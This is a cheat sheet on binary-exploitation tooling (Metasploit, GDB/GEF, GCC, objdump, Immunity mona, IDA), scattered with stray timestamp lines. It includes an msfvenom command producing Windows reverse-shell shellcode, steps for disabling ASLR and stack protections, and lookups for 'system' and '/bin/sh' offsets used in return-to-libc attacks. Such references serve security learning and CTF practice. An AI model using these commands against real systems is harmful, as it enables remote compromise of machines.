2020-07-15 15:43:14 +00:00
# Exploiting Tools
## Metasploit
```text
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```text
msfvenom /p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
2021-09-24 22:54:24 +00:00
### Install
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
```text
2020-07-15 15:43:14 +00:00
apt-get install gdb
2021-09-24 22:54:24 +00:00
```
2020-07-15 15:43:14 +00:00
2021-09-25 16:33:43 +00:00
### Parameters
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
**-q** --> No show banner
**-x < file> ** --> Auto-execute GDB instructions from here
2020-07-15 15:43:14 +00:00
**-p < pid> ** --> Attach to process
#### Instructions
2021-09-24 22:54:24 +00:00
> **disassemble main** --> Disassemble the function
2020-07-15 15:43:14 +00:00
> **disassemble 0x12345678**
> **set disassembly-flavor intel**
> **set follow-fork-mode child/parent** --> Follow created process
> **p system** --> Find the address of the system function
> **help**
> **quit**
> **br func** --> Add breakpoint to function
> **br \*func+23**
> **br \*0x12345678
> del NUM** --> Delete that number of br
> **watch EXPRESSION** --> Break if the value changes
**> run** --> Execute
**> start** --> Start and break in main
> **n/next** --> Execute next instruction \(no inside\)
> **s/step** --> Execute next instruction
> **c/continue** --> Continue until next breakpoint
> **set $eip = 0x12345678** --> Change value of $eip
> **info functions** --> Info abount functions
> **info functions func** --> Info of the funtion
> **info registers** --> Value of the registers
> **bt** --> Stack
> **bt full** --> Detailed stack
> **print variable**
> **print 0x87654321 - 0x12345678** --> Caculate
> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
* **x/o 0xDir\_hex**
* **x/2x $eip** --> 2Words from EIP
* **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8 bytes \(b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes\)
* **i r eip** --> Value of $eip
* **x/w pointer** --> Value of the pointer
* **x/s pointer** --> String pointed by the pointer
2021-09-25 22:02:15 +00:00
* **x/xw & pointer** --> Address where the pointer is located
2020-07-15 15:43:14 +00:00
* **x/i $eip** —> Instructions of the EIP
2021-09-24 22:54:24 +00:00
### [GEF](https://github.com/hugsy/gef)
```bash
checksec #Check protections
2021-09-24 22:58:16 +00:00
p system #Find system function address
2021-09-24 22:54:24 +00:00
search-pattern "/bin/sh" #Search in the process memory
2021-09-24 22:58:16 +00:00
vmmap #Get memory mappings
2021-09-24 22:54:24 +00:00
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
2020-07-15 15:43:14 +00:00
2021-09-25 16:33:43 +00:00
### Tricks
#### GDB same addresses
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<path>` _Put the absolute path to the binary_
* Exploit the binary using the same absolute route
* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary \(and no to external libraries\). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input** .
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the ** `bt` ** \(**backtrace**\) command to see the functions called:
```text
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
2020-07-15 15:43:14 +00:00
### GDB server
2021-09-24 22:54:24 +00:00
`gdbserver --multi 0.0.0.0:23947` \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
2020-07-15 15:43:14 +00:00
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections
**-o** --> Output
**-g** --> Save code \(GDB will be able to see it\)
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
**To compile a shellcode:
nasm -f elf assembly.asm** --> return a ".o"
**ld assembly.o -o shellcodeout** --> Executable
## Objdump
**-d** --> Disassemble executable sections \(see opcodes of a compiled shellcode, find ROP Gadgets, find function address...\)
**-Mintel** --> Intel sintax
**-t** --> Symbols table \(grep varBSS to get the address\)
**-D** --> Disassemble all \(address of static variable\)
**-s -j .dtors** --> Contenido de dtors
**-s -j .got** --> Contenido de got
**-TR** --> Relocations
**ojdump -t --dynamic-relo ./exec \| grep puts** --> Address of "puts" to modify in GOT
**objdump -TR ./exec \| grep exit\(func lib\)** —> Get address of all the functions inside the GOT
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=< path/core> --quiet
## More
**ldd executable \| grep libc.so.6** --> Address \(if ASLR, then this change every time\)
**for i in \`seq 0 20\`; do ldd < Ejecutable> \| grep libc; done** --> Loop to see if the address changes a lot
**readelf -s /lib/i386-linux-gnu/libc.so.6 \| grep system** --> Offset of "system"
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 \| grep /bin/sh** --> Offset of "/bin/sh"
**strace executable** --> Functions called by the executable
**rabin2 -i ejecutable --> ** Address of all the functions
## **Inmunity debugger**
2021-09-24 22:54:24 +00:00
```bash
2020-07-15 15:43:14 +00:00
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
```text
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger \(linux remote\) --> Proccess options...:
